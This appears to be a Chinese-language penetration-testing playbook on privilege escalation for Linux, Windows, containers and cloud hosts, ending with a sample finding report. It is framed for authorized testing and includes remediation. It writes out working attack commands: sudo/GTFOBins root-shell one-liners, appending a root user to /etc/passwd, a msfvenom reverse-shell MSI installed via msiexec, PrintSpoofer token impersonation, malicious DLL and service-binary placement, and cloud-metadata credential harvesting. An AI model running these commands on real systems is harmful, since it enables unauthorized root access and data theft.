killvxk 执行权限提升评估
使用场景
- 在渗透测试中获得低权限初始访问后，演示完整的系统入侵
- 评估 Linux 和 Windows 服务器对本地权限提升攻击的安全加固情况
- 评估端点检测与响应（EDR）工具是否能检测到常见的权限提升技术
- 测试最小权限策略和应用白名单在端点上的有效性
- 验证容器逃逸和虚拟机逃逸控制是否配置正确
不适用场景：未获得书面授权、针对可能导致停机的生产系统进行利用，或在未获事先批准和回滚能力的系统上部署内核漏洞利用。
前置条件
- 通过授权手段获得目标系统的低权限 shell 访问（反向 shell、SSH、RDP）
- 权限提升枚举脚本：linPEAS（Linux）、winPEAS（Windows）、Linux Smart Enumeration（LSE）
- 常见 CVE 的编译好的内核漏洞利用，或目标上的编译工具访问权限
- GTFOBins 参考（用于 Linux SUID/sudo 二进制滥用）和 LOLBAS 参考（用于 Windows 离地攻击二进制文件）
- 若目标上无法编译，需准备目标架构的预编译后渗透二进制文件
工作流程
步骤一：系统枚举
收集目标系统的全面信息：
Linux 枚举：
id && whoami— 当前用户和组成员身份uname -a— 内核版本（用于识别内核漏洞利用）cat /etc/os-release— 发行版和版本sudo -l— 当前用户可通过 sudo 以 root 身份运行的命令find / -perm -4000 -type f 2>/dev/null— SUID 二进制文件find / -perm -2000 -type f 2>/dev/null— SGID 二进制文件crontab -l && ls -la /etc/cron*— 以 root 身份运行的定时任务ps aux | grep root— 以 root 身份运行的进程cat /etc/passwd— 用户账户（查找 UID 为 0 的其他用户）find / -writable -type d 2>/dev/null— 全局可写目录- 运行
linpeas.sh进行自动化全面枚举
Windows 枚举：
whoami /priv— 当前用户权限（查找 SeImpersonatePrivilege、SeDebugPrivilege）systeminfo— 操作系统版本、补丁级别、架构wmic service get name,pathname,startmode— 未加引号的服务路径icacls "C:\Program Files" /T— Program Files 中的可写目录reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated— AlwaysInstallElevated 检查cmdkey /list— 存储的 Windows 凭据schtasks /query /fo LIST /v— 计划任务及其运行账户- 运行
winPEAS.exe进行自动化全面枚举
步骤二：Linux 权限提升向量
系统地测试已识别的提升向量：
- sudo 错误配置：若
sudo -l显示如(ALL) NOPASSWD: /usr/bin/vim的条目，使用 GTFOBins 提权：sudo vim -c ':!/bin/bash'生成 root shell- 常见危险 sudo 条目：vim、less、find、nmap、python、perl、ruby、awk、env
- SUID 二进制滥用：若发现允许任意命令执行、shell 逃逸或文件读取的 SUID 二进制：
- 自定义 SUID：检查自定义 SUID 二进制是否调用没有绝对路径的其他程序（PATH 注入）
- 已知 SUID：在 GTFOBins 中查找标准 SUID 二进制的利用方式
- 定时任务利用：若定时任务运行当前用户可写的脚本，或从可写目录运行脚本：
- 修改脚本以添加反向 shell 或 SUID 版本的 bash
- 基于 PATH 的定时任务利用：若定时任务调用没有绝对路径的命令且 PATH 可写
- 内核漏洞利用：将内核版本与已知漏洞匹配：
- DirtyPipe（CVE-2022-0847）：Linux 内核 5.8-5.16.11
- DirtyCow（CVE-2016-5195）：Linux 内核 2.6.22-4.8.3
- PwnKit（CVE-2021-4034）：影响大多数 Linux 发行版的 Polkit pkexec 漏洞
- 能力（Capabilities）滥用：
getcap -r / 2>/dev/null查找具有提升能力的二进制文件（cap_setuid、cap_dac_override） - 可写的 /etc/passwd：若 /etc/passwd 可写，添加新的 root 用户：
echo 'newroot:$1$hash:0:0::/root:/bin/bash' >> /etc/passwd
步骤三：Windows 权限提升向量
测试 Windows 特定的提升路径：
- 令牌冒充（Token Impersonation）：若用户拥有
SeImpersonatePrivilege（服务账户和 IIS 常见）：- 使用
JuicyPotato.exe、PrintSpoofer.exe或GodPotato.exe冒充 SYSTEM PrintSpoofer.exe -i -c "cmd /c whoami"->NT AUTHORITY\SYSTEM
- 使用
- 未加引号的服务路径：若服务路径带空格且未加引号（如
C:\Program Files\My App\service.exe），且可写入中间目录：- 在
C:\Program Files\My.exe放置恶意可执行文件，服务重启时将执行
- 在
- 可写的服务二进制文件：若可修改以 SYSTEM 身份运行的服务可执行文件：
- 用反向 shell 替换二进制文件，然后重启服务
- AlwaysInstallElevated：若 HKLM 和 HKCU 的 AlwaysInstallElevated 注册表键均设为 1：
- 生成恶意 MSI：
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ip> LPORT=<port> -f msi -o shell.msi - 以提升权限安装：
msiexec /quiet /qn /i shell.msi
- 生成恶意 MSI：
- 存储的凭据：检查
cmdkey /list、AutoLogon 注册表键、unattend.xml、web.config 文件和 PowerShell 历史记录中的凭据 - DLL 劫持：识别从可写目录加载 DLL 的服务。使用 Process Monitor 查找缺失的 DLL 加载，然后放置恶意 DLL
- 计划任务：查找以 SYSTEM 身份运行且脚本或二进制文件可写的任务
步骤四：容器与云环境提权
测试容器化和云环境中的提升路径：
- Docker 逃逸：检查容器是否以特权模式运行（
--privileged）、是否挂载了 Docker socket（/var/run/docker.sock）或具有SYS_ADMIN能力 - Kubernetes Pod 提权：检查具有 cluster-admin 权限的服务账户令牌、hostPID/hostNetwork 命名空间或 hostPath 卷挂载
- 云元数据：从已入侵主机访问云实例元数据（
http://169.254.169.254/latest/meta-data/），发现 IAM 角色、凭据和实例信息 - IAM 角色滥用：若发现云凭据，枚举 IAM 权限并通过 IAM 策略操控测试权限提升
步骤五：文档记录与影响评估
记录完整的提权路径和业务影响：
- 记录提权过程中执行的每条命令（含时间戳）
- 捕获提升访问权限的证明（whoami 显示 root/SYSTEM，访问受限文件）
- 记录在提升权限级别下可访问的数据或系统
- 将提升技术映射到 MITRE ATT&CK（T1548 — 滥用提升控制机制，T1068 — 利用漏洞进行权限提升）
- 为每个已识别的提升向量提供具体修复方案
核心概念
| 术语 | 定义 |
|---|---|
| SUID 二进制 | 设置了 Set User ID 位的 Linux 二进制文件，无论谁运行它，都以文件所有者（通常是 root）的权限执行 |
| SeImpersonatePrivilege | 允许进程冒充其他用户安全令牌的 Windows 权限，服务账户常滥用此权限提升至 SYSTEM |
| 内核漏洞利用 | 针对操作系统内核漏洞的利用程序，可获取 ring-0 或 root/SYSTEM 级别访问权限 |
| GTFOBins | Unix 二进制文件的精选列表，在错误配置时可用于权限提升、文件读写或 shell 逃逸 |
| LOLBAS | 离地攻击二进制文件和脚本；合法的 Windows 二进制文件，可被滥用于代码执行、文件操作或持久化 |
| DLL 劫持 | 利用 Windows 上的 DLL 搜索顺序，通过在合法 DLL 位置之前搜索的目录放置恶意 DLL |
| 令牌冒充 | Windows 技术，具有适当权限的已入侵进程捕获并使用其他用户的访问令牌，以该用户身份执行命令 |
工具与系统
- linPEAS / winPEAS：自动化权限提升枚举脚本，检查 Linux 和 Windows 上数百个潜在提升向量
- GTFOBins / LOLBAS：Unix 二进制文件和 Windows 二进制文件的参考数据库，错误配置时可用于权限提升
- PrintSpoofer / GodPotato：Windows 权限提升工具，利用
SeImpersonatePrivilege从服务账户实现 SYSTEM 级访问 - Linux Exploit Suggester：将目标内核版本与已知内核漏洞数据库进行比较，识别适用漏洞利用的脚本
常见场景
场景：Linux Web 服务器上的权限提升
背景：在渗透测试中，测试人员通过 PHP 文件上传漏洞在 Ubuntu 22.04 Web 服务器上以 www-data 身份获得了低权限 shell。目标是提升至 root 以演示完整的服务器入侵。
方法：
- 运行
linpeas.sh，发现www-data可通过 sudo 无需密码以 root 身份运行/usr/bin/find - 通过
sudo -l确认：(root) NOPASSWD: /usr/bin/find - 在 GTFOBins 中查找
find的 sudo 条目：sudo find . -exec /bin/bash -p \; -quit - 执行命令获得 root shell
- 以 root 身份访问
/etc/shadow提取密码哈希，从应用配置文件读取数据库凭据，并访问包含客户 PII 的 MySQL 数据库 - 记录：以 www-data 初始访问 -> sudo 错误配置 -> root shell -> 数据库访问 -> 75,000 条客户记录可被访问
常见陷阱：
- 未在类似系统上测试就运行内核漏洞利用，有导致内核崩溃和系统宕机的风险
- 不检查容器环境，其中表面上的 root 访问可能仅限于容器命名空间
- 忽视从已入侵主机可访问的云元数据端点，这些端点可能提供 IAM 凭据
- 在检查 sudo 后未枚举能力和 SUID 二进制文件，遗漏替代提升路径
输出格式
## 发现：sudo 错误配置允许通过 find 提升至 root
**ID**: PRIV-001
**严重性**: 严重（CVSS 8.8）
**受影响主机**: web-prod-01（10.10.5.15）
**操作系统**: Ubuntu 22.04 LTS
**初始访问**: www-data（通过 PHP 文件上传 — WEB-004）
**提升技术**: MITRE ATT&CK T1548.003 — sudo 和 sudo 缓存
**描述**:
/etc/sudoers 配置允许 www-data 用户无需密码以 root 身份执行 /usr/bin/find。
find 命令支持 -exec 标志，可生成 root shell，实际上赋予 www-data 不受限制的 root 访问权限。
**概念验证**:
www-data@web-prod-01:~$ sudo -l
(root) NOPASSWD: /usr/bin/find
www-data@web-prod-01:~$ sudo find . -exec /bin/bash -p \; -quit
root@web-prod-01:~# id
uid=0(root) gid=0(root) groups=0(root)
**影响**:
对生产 Web 服务器的完整 root 访问权限。测试人员以 root 身份从
/var/www/app/.env 获取了数据库凭据，连接到 MySQL，并确认可读取
包含姓名、邮件和地址的 75,000 条客户记录。
**修复建议**:
1. 移除 www-data 的 /usr/bin/find sudo 条目
2. 若确需 find 访问权限，通过 --no-exec 将其限制在特定目录
3. 审计所有 sudo 条目，检查 GTFOBins 中列出的二进制文件
4. 使用 auditd 为所有特权命令执行实施 sudo 日志记录